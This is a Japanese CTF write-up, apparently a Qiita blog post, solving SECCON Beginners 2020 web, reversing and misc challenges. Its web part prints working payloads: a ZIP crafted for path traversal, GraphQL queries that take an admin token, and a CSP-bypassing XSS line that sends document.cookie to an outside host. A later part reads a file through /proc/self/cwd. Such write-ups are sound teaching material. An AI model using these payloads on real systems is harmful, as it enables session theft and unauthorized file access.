
ZIPを送るとサーバー内に展開してファイルをダウンロードできるサービス。ファイルの取得にディレクトリトラバーサルがある。でも、ZIPに含まれていたファイル名かどうかがチェックされている。適当に作ったZIPファイルをバイナリエディタで書き換えて、ファイル名を../../flag.txtにしてアップロード。

$ hexdump -C dd_dd_flag.zip
00000000  50 4b 03 04 14 00 00 00  00 00 6c 91 b7 50 00 00  |PK........l..P..|
00000010  00 00 00 00 00 00 00 00  00 00 0e 00 00 00 2e 2e  |................|
00000020  2f 2e 2e 2f 66 6c 61 67  2e 74 78 74 50 4b 01 02  |/../flag.txtPK..|
00000030  14 00 14 00 00 00 00 00  6c 91 b7 50 00 00 00 00  |........l..P....|
00000040  00 00 00 00 00 00 00 00  0e 00 00 00 00 00 00 00  |................|
00000050  00 00 20 00 00 00 00 00  00 00 2e 2e 2f 2e 2e 2f  |.. ........./../|
00000060  66 6c 61 67 2e 74 78 74  50 4b 05 06 00 00 00 00  |flag.txtPK......|
00000070  01 00 01 00 3c 00 00 00  2c 00 00 00 00 00        |....<...,.....|
0000007e

ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}

profiler

プロフィールを設定できるサービス。

通信を見ると、

{"query":"query { me {\n      uid\n      name\n      profile\n    }\n  }"}

のようなフォーマットでAPIを叩いている。queryの中身のフォーマットは何なのだろう? 適当に書き換えて返ってきたエラーメッセージでググると、GraphQLらしい。

GraphQLなんて使ったことはないが、ググるとなんかありがちな脆弱性があるらしい。

このページに書かれている通りにすると結果が返ってきて、どのようなクエリが使えるのかが分かる。

query { someone(uid: "admin") {
      uid
      name
      profile
      token
    }
  }

でadminのtokenが得られる。このトークンを入力してもフラグは手に入らない。自分のトークンをadminのトークンにしないといけないらしい。

mutation {
      updateToken(token: "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b")
}

でトークンを書き換えられる。

ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}

Somen

XSS。送りつけたパラメタをURLに付けて、フラグをcookieに付けたbotがページを閲覧する。

脆弱性は2箇所ある。

  • ユーザー入力をそのまま出力している
  • innerHTMLにユーザー入力を含む文字列を代入している。

防御も2種類ある。

  • Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='
  • 別のJavaScriptを読み込んで、パラメタに英数字以外の文字列が含まれていたら、エラーページにリダイレクト

さすがに英数字以外無しでは何もできないので、まずは後者を回避する。これは簡単で、XSSついでに末尾に<script>を付ければ良い。これによって、security.jsの読み込みが壊れて効かなくなる。

問題はContent Security Policy(CSP)。strict-dynamicが気になる。JavaScriptで動的に<script>タグを生成して別のJavaScriptを読み込むということは良く行われているが、これがあるとCSPが適用しづらい。そこで、信頼されたスクリプトから読み込まれたスクリプトも実行を許可するものらしい。ただし、「構文解析時に挿入されたものではない」という難しい条件が付いている。そもそも、innerHTML<script>を入れても効かないし、<img src=x onerror=alert(0)>みたいなイベントハンドラはCSPで無効化されている。

ググっていたら回避策が書かれいてた。

なるほど。通常のXSSもDOM basedのXSSもあったらどうしようもないよ、ということだろうか。

location.href="http://mydomain.example.com/?"+document.cookie//</title><script id="message"></script><script>

これでmydomain.example.comにcookie付のリクエストが飛んでくる。

ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}

Reversing

mask

正解となるフラグに対して、0x75&を取った値と、0xeb&を取った値が分かる。(0x75|0xeb)==0xffなので両者の値の|を取れば良い。

solve.py
A = "atd4`qdedtUpetepqeUdaaeUeaqau"
B = "c`b bk`kj`KbababcaKbacaKiacki"
print "".join(chr(ord(a)|ord(b)) for a, b in zip(A, B))
>py -2 solve.py
ctf4b{dont_reverse_face_mask}

ctf4b{dont_reverse_face_mask}

yakisoba

(Hint: You'd better automate your analysis)

とのこと。去年使ったスクリプトのファイル名だけ書き換えたら通ってしまった。angrはちゃんと使いこなせばもっと便利だとは思うものの、今年も使い方を覚えなかった……。

solve.py
import angr

project = angr.Project('./yakisoba')
entry = project.factory.entry_state()
simgr = project.factory.simgr(entry)
simgr.explore()

states = simgr.deadended
for state in states:
    flag = b"".join(state.posix.stdin.concretize())
    print(flag)
>docker run -it --rm -v %CD%:/hoge angr/angr
(angr) angr@fa538f8e6cc5:~$ cd /hoge
(angr) angr@fa538f8e6cc5:/hoge$ python solve.py
WARNING | 2020-05-23 07:00:08,009 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
b'c>\xd9\xc9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
b'0\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd1\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
 :
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\xa1\xd9\xd9\xd9\xd9'
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x89\xd9\xd9\xd9\xd9'
(angr) angr@fa538f8e6cc5:/hoge$

ctf4b{sp4gh3tt1_r1pp3r1n0}

ghost

Ghostscriptの出力から入力を逆算。

chall.gs
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit

スタックマシンらしく、文法をググっても読めない。

  • 入力1文字に対して、数値1個を出力
  • ある位置の出力が依存するのは、その位置より前の入力

ということで、スクリプトを書いて、1文字ずつ探索。subprocessはPython 3のほうが便利。

solve.py
output = [3417, 61039, 39615, 14756, 10315, 49836, 44840, 20086, 18149, 31454, 35718, 44949, 4715, 22725, 62312, 18726, 47196, 54518, 2667, 44346, 55284, 5240, 32181, 61722, 6447, 38218, 6033, 32270, 51128, 6112, 22332, 60338, 14994, 44529, 25059, 61829, 52094]

import time
import subprocess

flag = b""
for i in range(len(output)):
  for c in range(0x20, 0x80):
    c = bytes([c])
    p = subprocess.run("gs chall.gs", shell=True, input=flag+c+b"\n", stdout=subprocess.PIPE)
    if list(map(int, p.stdout.split(b"\n")[-2].split()))==output[:i+1]:
      flag += c
      break
  print(flag)
$ python3 solve.py
b'c'
b'ct'
b'ctf'
b'ctf4'
 :
b'ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!'
b'ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}'

ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

siblangs

Androidアプリ。

dex2jarとJD-GUIで探すと、es.o0i.challenge.app/nativemodule/ValidateFlagModuleにそれっぽい処理がある。

solve.py
from Crypto.Cipher import AES

C = [95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30]
C = "".join(chr(c%256) for c in C)
K = "IncrediblySecure"

aes = AES.new(K, AES.MODE_GCM, C[:12])
print(aes.decrypt(C[12:]))

で復号できる。ただ、フラグの後半のみ。

前半部分はassets/index.android.bundleで処理しているらしい。minifyされていてつらい。ctf4bとかで探した。処理は単なるxorで鍵は"AKeyFor"+h.Platform.OS+"10.3"。「Platformはandroidでしょ?」と思ったけどダメ。10.3を見てiosにしたら通った。

solve.py
 :
xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]
key = "AKeyForios10.3"
print("".join(chr(ord(key[i%len(key)])^xored[i]) for i in range(len(xored))))
$ python2 solve.py
1pt_3verywhere}}!9ݩw
ctf4b{jav4_and_j4va5cr

ctf4b{jav4_and_j4va5cr1pt_3verywhere}

sneaky

コンソールのヘビゲーム。

$ file sneaky
sneaky: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=ef4c67ba5146f36226a06e9984f8ee4c5f31f7ee, stripped

静的リンク&strippedはつらい。とはいえデバッガ検知などは無いようなので、gdbで動かして、SCORE:という文字列からスコアを表示している箇所を探し、ブレークポイントをはって参照している値を書き換えたらフラグが表示された。

ctf4b{still_ez_2_cheat?}

Misc

Welcom

フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。

この問題文を見たら、ctf4b-botに話しかけるよねw

フラグは #announcement に書かれていた。

xrekkusu今日 14:01
競技開始しました!Welcome問題のフラグはこちらになります: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

emoemoencode

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

>>> d = open("emoemoencode.txt", "rb").read()
>>> x = d[3:][::4]
>>> "".join(chr(ord(t)-0x40) for t in x)
'ctftb{steganpgraphy_by_emppppppji}'

1バイト前が8Cのところを書き換えたら通った。

ctf4b{stegan0graphy_by_em000000ji}

readme

server.py
#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

(フラグ以外の)任意のファイルが読めるならば、 /proc/self/ を読む。isfileで触っているから、/proc/self/fd/? にあるかな?と思ったけど無かった。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
... PYTHON_VERSION=3.7.7 PWD=/home/ctf/serve PYT...

カレントディレクトリは /home/ctf/serve。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

25
19
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
25
19